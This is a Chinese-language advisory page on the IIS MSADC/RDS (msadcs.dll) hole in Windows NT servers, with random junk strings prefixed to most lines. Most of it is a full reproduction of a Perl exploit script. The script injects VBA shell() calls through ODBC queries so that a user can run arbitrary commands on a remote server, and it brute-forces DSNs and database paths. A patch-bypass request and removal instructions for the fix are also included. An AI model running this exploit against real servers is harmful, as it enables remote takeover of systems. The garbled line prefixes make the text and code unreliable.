IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
p,=IL_ L I KuK# 涉及程序：
& n*ga$Q Microsoft NT server
SY9 5s "]3o93 3 D 描述：
7a[6@ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
zE;|MU@| BMq> Cj+ 详细：
"yymnIQ3u 如果你没有时间读详细内容的话，就删除:
Q 1i5"'] [ c:\Program Files\Common Files\System\Msadc\msadcs.dll
?C CQm 有关的安全问题就没有了。
8B ,S_0! N_G&n w 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
IAA_Ft F]RPM(!5O) 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
,wf_o%'eW 关于利用ODBC远程漏洞的描述，请参看:
x,: k /] Ztk%uc8_lM http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 23|JgKuA L1_O!EQ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
PE.UNo>o http://www.microsoft.com/security/bulletins/MS99-025faq.asp S))B^). 0- *vQ 6LF;y 这里不再论述。
=pzTB-G 42e [OG - 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
lP=,|xFra a|TUH+| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
|keU+De 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
?121 as}z ,7$&gx>2& }S"gZ6 #将下面这段保存为txt文件，然后: "perl -x 文件名"
Q>[{9bI4QP U| yt #!perl
YdV.+v(30 #
Z/W f # MSADC/RDS 'usage' (aka exploit) script
Wrbv<8}%c #
ke@OG! M / # by rain.forest.puppy
_9-;35D _ #
_W@sFv%sj # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
xTk6q*NvT^ # beta test and find errors!
]G&[P8hz B ' h ? use Socket; use Getopt::Std;
b+Sj\3fX getopts("e:vd:h:XR", \%args);
ql%K+4@ i=5!taxu}E print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
eG+$~\%Fub O-0 5. if (!defined $args{h} && !defined $args{R}) {
'RwfW| ~6 print qq~
Qraq{'3 Usage: msadc.pl -h <host> { -d <delay> -X -v }
y l*%P3m| -h <host> = host you want to scan (ip or domain)
aQ H]hLvs -d <seconds> = delay between calls, default 1 second
A|Ft:_ Y -X = dump Index Server path table, if available
ZYY`f/qi -v = verbose
37n 2 #E -e = external dictionary file for step 5
AW;xlY= g Sc3{Y+g Or a -R will resume a command session
8\nk a5 :bo2H[U+ ~; exit;}
3hkEjR D=LsoASVI $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Ww~C[8q if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
+dCR$<e9r if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
uJ|,- "~F if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
CVY-U|xFY $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
D,$M$f1 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
)a!f")@uz E Id>%0s5 if (!defined $args{R}){ $ret = &has_msadc;
Y q/vym-O5 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Gqq< -drR %/)z!}{ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
A+Bq5mik . "cmd /c ";
EAh|$ ~X $in=<STDIN>; chomp $in;
b L.Xb y<Y $command="cmd /c " . $in ;
Q?.9BM1V i Ya) *, if (defined $args{R}) {&load; exit;}
Lcg1X3$G A[4HD!9 = print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
F" G+/c/L &try_btcustmr;
BGNZE{K4" >;G7ty[RX7 print "\nStep 2: Trying to make our own DSN...";
.$f0!`
t &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
8\)4wa z$ 3Zz_wr6 print "\nStep 3: Trying known DSNs...";
sw$JY}Q8x &known_dsn;
MB5V$toC a@_n>$LZL print "\nStep 4: Trying known .mdbs...";
bTx4}> =5l &known_mdb;
A\"4[PXpQ XYV`[,^h& if (defined $args{e}){
$v 8T%'p+ print "\nStep 5: Trying dictionary of DSN names...";
3]NKAPY &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
1)e[F#| lq 1223
print "Sorry Charley...maybe next time?\n";
V1i^# ; exit;
#cikpHLXG "<L9-vb ##############################################################################
gjJ:s,F g W;X:U. sub sendraw { # ripped and modded from whisker
EnMc9FN(y sleep($delay); # it's a DoS on the server! At least on mine...
1JS5 LS my ($pstr)=@_;
G=Xas"| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5a5JOl$8 die("Socket problems\n");
4X:mb}( if(connect(S,pack "SnA4x8",2,80,$target)){
YYe<S tyH select(S); $|=1;
AgDXpa q print $pstr; my @in=<S>;
!~m PxGY select(STDOUT); close(S);
(e
2.Ru return @in;
rXrIGgeM } else { die("Can't connect...\n"); }}
OK@yMGz1I 5n::]Q% =D ##############################################################################
M6[O> z j<?k$ 8H sub make_header { # make the HTTP request
3E @ & my $msadc=<<EOT
[8b{Yba z POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
s2tNQtq 0W User-Agent: ACTIVEDATA
25vq#sS] Host: $ip
m9 'bDyyK Content-Length: $clen
^MWp{E Connection: Keep-Alive
mph s^k< Z 1<]?@[l< ADCClientVersion:01.06
;%AY#b4m Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
T[ zEAj \ 6Y%z
--!ADM!ROX!YOUR!WORLD!
6m9\0)R Content-Type: application/x-varg
meD83,L~N Content-Length: $reqlen
kCZ'p Fe2iG-ec EOT
lo7>$`Q ; $msadc=~s/\n/\r\n/g;
?+] return $msadc;}
L$]Y$yv w~AO;X*Ke" ##############################################################################
{FN CC*= yTWicW7i sub make_req { # make the RDS request
4f213h my ($switch, $p1, $p2)=@_;
}.A
\;FDyj my $req=""; my $t1, $t2, $query, $dsn;
{o %OG/!1 R|\kk?,u if ($switch==1){ # this is the btcustmr.mdb query
OQ3IkE`G $query="Select * from Customers where City=" . make_shell();
b\SB $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
o^d $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
m7cG ]a~ a fo;^Jg. elsif ($switch==2){ # this is general make table query
m.yt?` $query="create table AZZ (B int, C varchar(10))";
,_'Z Jlx $dsn="$p1";}
J32"Ytdo< RHI?_gf& elsif ($switch==3){ # this is general exploit table query
y<ZT~ e $query="select * from AZZ where C=" . make_shell();
4g+o/+6!4 $dsn="$p1";}
ad<ZdO*h Xq$9H@. elsif ($switch==4){ # attempt to hork file info from index server
D'Ki y $query="select path from scope()";
q] '2'"k $dsn="Provider=MSIDXS;";}
!imjfkG ?KFj=Yo elsif ($switch==5){ # bad query
|v" &Y $query="select";
ATD4 %|a9h $dsn="$p1";}
opReAU'I g|{Ru $t1= make_unicode($query);
.V{y9e+ $t2= make_unicode($dsn);
1VPxCB\ $req = "\x02\x00\x03\x00";
*)T7DN8 $req.= "\x08\x00" . pack ("S1", length($t1));
hIo ^/_K $req.= "\x00\x00" . $t1 ;
J)^Kls\> t $req.= "\x08\x00" . pack ("S1", length($t2));
g0s *4E $req.= "\x00\x00" . $t2 ;
NV18~5#</ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
ZY)&Fam} return $req;}
{u$<-W-& wEix 8Ow* ##############################################################################
XTq+ 9 Z"9D1Uk sub make_shell { # this makes the shell() statement
Oz5Ze/HBN return "'|shell(\"$command\")|'";}
i7O8f ^| Mir(
}E ##############################################################################
<OGXKv@ XNkZ^ 3m q sub make_unicode { # quick little function to convert to unicode
.#Lu/w' -M my ($in)=@_; my $out;
B|kIiL63
D for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
q!) nSD return $out;}
A{wSO./3 5eX+9niY ##############################################################################
7;ddzxR4 u/HNXJ7M`9 sub rdo_success { # checks for RDO return success (this is kludge)
1v9 #Fr Y my (@in) = @_; my $base=content_start(@in);
<)$ JA if($in[$base]=~/multipart\/mixed/){
q} p
(p( N return 1 if( $in[$base+10]=~/^\x09\x00/ );}
z4s{a(Tsd return 0;}
26-K:" bSk)GZyH\d ##############################################################################
$G#)D^-5G +Y440Tz sub make_dsn { # this makes a DSN for us
DP
&*P/ my @drives=("c","d","e","f");
wN$u^] print "\nMaking DSN: ";
NU%W9jQYS foreach $drive (@drives) {
4u]>$?X1_ print "$drive: ";
%H7H0 %qW my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
]]V| ]}<)m "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
a q]bF%7 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
,M9Hdm $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
&}b-aAt return 0 if $2 eq "404"; # not found/doesn't exist
g:[yA{Eh if($2 eq "200") {
T3/Gl 6f foreach $line (@results) {
0 t0m?rVW return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
l\t<_p/I)^ } return 0;}
dQPW9~g8Hg HA GpM\Qa ##############################################################################
6$\'dkufQ w*IDL0# sub verify_exists {
X[$FjKZh=F my ($page)=@_;
L[}Ak1 A my @results=sendraw("GET $page HTTP/1.0\n\n");
6c Td
SE return $results[0];}
9Z. W R-} {GQRJ8 m ##############################################################################
% g=SkQ&d F44KbUH sub try_btcustmr {
h dy
N
my @drives=("c","d","e","f");
Xs$UpQo
my @dirs=("winnt","winnt35","winnt351","win","windows");
0)9'x)l:
pytF
K)U foreach $dir (@dirs) {
aF:|MTC(~ print "$dir -> "; # fun status so you can see progress
K `twb TU foreach $drive (@drives) {
FSkz[D_} print "$drive: "; # ditto
McRfEF \ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
njBK { $reqlenlen=length( "$reqlen" );
2!g7F`/B $clen= 206 + $reqlenlen + $reqlen;
L%0G >2x Hge0$6l my @results=sendraw(make_header() . make_req(1,$drive,$dir));
hH=}<@z if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
qku !Mg else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
{Nny .@P)H 8G| kKpX ##############################################################################
gw v
s Y
#6G&)M sub odbc_error {
vC%8-;8{H my (@in)=@_; my $base;
O" ,*N my $base = content_start(@in);
"1>48Z-UC if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
}:4b_-&Q5 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^n<o,K4 \} $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
T8-,t];i $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
TCetd#;R return $in[$base+4].$in[$base+5].$in[$base+6];}
l5CFm8% print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
x10u?@ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
"'*w _H0 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Ggp. %kS6F q;=! =aRg ##############################################################################
] Qh0+!SdG ^mCKRWOP' sub verbose {
\LQ54^eB my ($in)=@_;
Q*8=^[x return if !$verbose;
NaYr$` print STDOUT "\n$in\n";}
MXGz_Db4' RP ~ hi%A ##############################################################################
fHR^?\VVp Ig"Qw vR sub save {
S[I-Z_S my ($p1, $p2, $p3, $p4)=@_;
%g{<EuK]p open(OUT, ">rds.save") || print "Problem saving parameters...\n";
gP:H_nVh print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Xi81?F?[ close OUT;}
~SR9 * < 2mfKy9QxO ##############################################################################
5.zv0tJku [}Pi $at sub load {
jP"l5 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
LV!<vakCK open(IN,"<rds.save") || die("Couldn't open rds.save\n");
HMPb%'U~ @p=<IN>; close(IN);
DNy 6Kw $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
8AuOe7D9A $target= inet_aton($ip) || die("inet_aton problems");
Q,< V) print "Resuming to $ip ...";
VVDd39q $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
oeIza<:=R if($p[1]==1) {
o=y0=,:a?9 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
_"688u'88 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
vOi4$I~CJ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Z@ QJ5F1y if (rdo_success(@results)){print "Success!\n";}
y lwh_&>2 else { print "failed\n"; verbose(odbc_error(@results));}}
|++\"g elsif ($p[1]==3){
/O&{fo if(run_query("$p[3]")){
,RIC _26 print "Success!\n";} else { print "failed\n"; }}
B"=w9w] elsif ($p[1]==4){
XCUU(H if(run_query($drvst . "$p[3]")){
9KGi%UIFvn print "Success!\n"; } else { print "failed\n"; }}
4g^Xe - exit;}
]@9ZUtU,;N 0mi$_Ld+ ##############################################################################
o2e gNTG b_ rHt
s sub create_table {
v2; ' F my ($in)=@_;
dxK3462 $reqlen=length( make_req(2,$in,"") ) - 28;
|h* rkLY $reqlenlen=length( "$reqlen" );
b [os0D95 $clen= 206 + $reqlenlen + $reqlen;
R gTrj my @results=sendraw(make_header() . make_req(2,$in,""));
o%sx(g=q 6 return 1 if rdo_success(@results);
'jj|bN my $temp= odbc_error(@results); verbose($temp);
II)
K0< return 1 if $temp=~/Table 'AZZ' already exists/;
% +0V0. return 0;}
8m "jd + '4]_~?&x ##############################################################################
=dDr:Y<@* r0 (* ]K:. sub known_dsn {
>N8*O3 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
\zx$ ]|AQ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
|cIv&\ x "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
8c^Hfjr0 "banner", "banners", "ads", "ADCDemo", "ADCTest");
^< wn $BUm, foreach $dSn (@dsns) {
s{ dgUX print ".";
K0C3s next if (!is_access("DSN=$dSn"));
UNJAfr P if(create_table("DSN=$dSn")){
1Zt>andBF print "$dSn successful\n";
\^]*T'>b if(run_query("DSN=$dSn")){
?` T-A\A= print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
^SC2k LI print "Something's borked. Use verbose next time\n";}}} print "\n";}
q !4eVg* ;<N%D=;}@ ##############################################################################
$~r_&1 <tT.m[q g sub is_access {
Z+g9!@' a my ($in)=@_;
:hFKmoy# $reqlen=length( make_req(5,$in,"") ) - 28;
3:"w"0[K3 $reqlenlen=length( "$reqlen" );
~Y 3X* $clen= 206 + $reqlenlen + $reqlen;
i.Z iLDs\7 my @results=sendraw(make_header() . make_req(5,$in,""));
20?@t.aMp my $temp= odbc_error(@results);
pi;'! d[l% verbose($temp); return 1 if ($temp=~/Microsoft Access/);
= :;K nS return 0;}
0I['UL^!F pX?/=T@ Bw ##############################################################################
)zK@@E 9>T5~C'* sub run_query {
P87Lo4R d my ($in)=@_;
Q.} guI\ $reqlen=length( make_req(3,$in,"") ) - 28;
E(g$f.9 $reqlenlen=length( "$reqlen" );
CWa~~h<r- $clen= 206 + $reqlenlen + $reqlen;
B!1Bg9 D my @results=sendraw(make_header() . make_req(3,$in,""));
NE4 }!I return 1 if rdo_success(@results);
pj#l s my $temp= odbc_error(@results); verbose($temp);
Z~1uyr( return 0;}
uZe"M(3r$ O
b'Br ##############################################################################
w9TE E,t;5 Znd ,FqHk sub known_mdb {
r t'pc\|O& my @drives=("c","d","e","f","g");
%WlTx&jSgE my @dirs=("winnt","winnt35","winnt351","win","windows");
+=K =B my $dir, $drive, $mdb;
\- 8S" my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_o7t| pl~ zEk /15 # this is sparse, because I don't know of many
SW)jDy my @sysmdbs=( "\\catroot\\icatalog.mdb",
A~({vb' "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Q)Q1a; o "\\system32\\certmdb.mdb",
d<Dm( "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
" 6ScVa5) b} FhC"'i my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
vEw8<<cgg "\\cfusion\\cfapps\\forums\\forums_.mdb",
7KL@[ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
mI'&!@WG "\\cfusion\\cfapps\\security\\realm_.mdb",
-car>hQq "\\cfusion\\cfapps\\security\\data\\realm.mdb",
+t%1FkI\ "\\cfusion\\database\\cfexamples.mdb",
EhAaaG "\\cfusion\\database\\cfsnippets.mdb",
{"c`k4R "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
qL4s@<|~ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Z rv:uEl "\\cfusion\\brighttiger\\database\\cleam.mdb",
o 3 JSh= "\\cfusion\\database\\smpolicy.mdb",
"h-ZwL "\\cfusion\\database\cypress.mdb",
_p^$.\k" "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Jq?Fi'2F% "\\website\\cgi-win\\dbsample.mdb",
L%jIU<?Z7 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
hBi/lHu' "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Mj`g84 ); #these are just
}0, dG4Oo= foreach $drive (@drives) {
0 *E_D foreach $dir (@dirs){
Q^bYx (r5w foreach $mdb (@sysmdbs) {
mDx=n.lIz print ".";
]=ADX} if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
RT|1M"?$ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
.$fSWlM; if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
%,(X R` print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
@FZbp } else { print "Something's borked. Use verbose next time\n"; }}}}}
^.9D f A0 ?j&ZzK'#^ foreach $drive (@drives) {
|A\o foreach $mdb (@mdbs) {
WK0:3q(P print ".";
6MNr H if(create_table($drv . $drive . $dir . $mdb)){
:b]
\* print "\n" . $drive . $dir . $mdb . " successful\n";
\FIM'EKzu! if(run_query($drv . $drive . $dir . $mdb)){
u\;d^ A print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
b] } else { print "Something's borked. Use verbose next time\n"; }}}}
sI.p(
-K Q }
0O[le*3b YSrjg|k* ##############################################################################
, ^RZ1tLz n?U^vK _ sub hork_idx {
U(Tl$#Bt print "\nAttempting to dump Index Server tables...\n";
n?;h-KKO: print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
SlG ^ H $reqlen=length( make_req(4,"","") ) - 28;
j
WSgO(y $reqlenlen=length( "$reqlen" );
}Ogb| 8 $clen= 206 + $reqlenlen + $reqlen;
bh(} f.@
9 my @results=sendraw2(make_header() . make_req(4,"",""));
?) T@qn+ if (rdo_success(@results)){
@]!9; ?so my $max=@results; my $c; my %d;
6_:I~TTX for($c=19; $c<$max; $c++){
Fv*Et-8tN5 $results[$c]=~s/\x00//g;
W1521: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
ut# pg+#Q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
5mS/,fs@ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
k* v ${1& $d{"$1$2"}="";}
a@J/[$5 foreach $c (keys %d){ print "$c\n"; }
sY 4q$F q } else {print "Index server doesn't seem to be installed.\n"; }}
CF
3V )3} zU0SlRFu ##############################################################################
H32o7]lT 9c%CCZ sub dsn_dict {
\t 5_ V)P open(IN, "<$args{e}") || die("Can't open external dictionary\n");
XOLE=zdSp while(<IN>){
KY}H- $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
ltlo$`PR next if (!is_access("DSN=$dSn"));
hw.>HT|.N if(create_table("DSN=$dSn")){
bYoBJ
#UX print "$dSn successful\n";
8
/%{x B^ if(run_query("DSN=$dSn")){
w51l;2$des print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
y+Hz(}4 print "Something's borked. Use verbose next time\n";}}}
D(OJr5Gg print "\n"; close(IN);}
1$+8wDVwad @+l=R| ##############################################################################
J ?EDz, 8t. QFze? sub sendraw2 { # ripped and modded from whisker
I&m' a sleep($delay); # it's a DoS on the server! At least on mine...
o2'Wu:Y" my ($pstr)=@_;
8N+T=c socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>c Lh $;l die("Socket problems\n");
no W]E}nN if(connect(S,pack "SnA4x8",2,80,$target)){
|} .}q print "Connected. Getting data";
zvV o-{6 open(OUT,">raw.out"); my @in;
t0GJ$] ) select(S); $|=1; print $pstr;
f%i%QZP while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
.rITzwgB close(OUT); select(STDOUT); close(S); return @in;
;b:'i& r
} else { die("Can't connect...\n"); }}
5\=
y9Z- x /&<V5?1| ##############################################################################
$wi4cHh -cijLlz%+ sub content_start { # this will take in the server headers
zhm 0 J-g my (@in)=@_; my $c;
C JER&"em7 for ($c=1;$c<500;$c++) {
a +cDH if($in[$c] =~/^\x0d\x0a/){
gb|;]mk*" if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
IxS% V31 else { return $c+1; }}}
hlDB'8 return -1;} # it should never get here actually
,wM4X'] HR ~\A F\n% ##############################################################################
kiyc ^s Ix}6%2\ sub funky {
/Q3\6DCl my (@in)=@_; my $error=odbc_error(@in);
0 Sz[u\w if($error=~/ADO could not find the specified provider/){
s5rD+g]E` print "\nServer returned an ADO miscofiguration message\nAborting.\n";
@"MQ6u G> exit;}
[8^q3o7n if($error=~/A Handler is required/){
GGhk~H4OP print "\nServer has custom handler filters (they most likely are patched)\n";
i#h FpZ6u exit;}
f*B-aj# if($error=~/specified Handler has denied Access/){
yi*EobP print "\nServer has custom handler filters (they most likely are patched)\n";
A= 5Ebu!z exit;}}
R^$|D) ( ;Xy=;Z.]i ##############################################################################
2 ,F9P+ '5 ~cd sub has_msadc {
as|w} $ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
PCHspe9!y my $base=content_start(@results);
-F[@)$L return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
QF\ nf_X return 0;}
Ei):\,Nv FOk ;=+ ########################
@aZ Tx/ P!E2.K, 5K 2K'ZkI 解决方案：
Z#L4n#TT 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
)0iN2L]U; 2、移除web 目录: /msadc
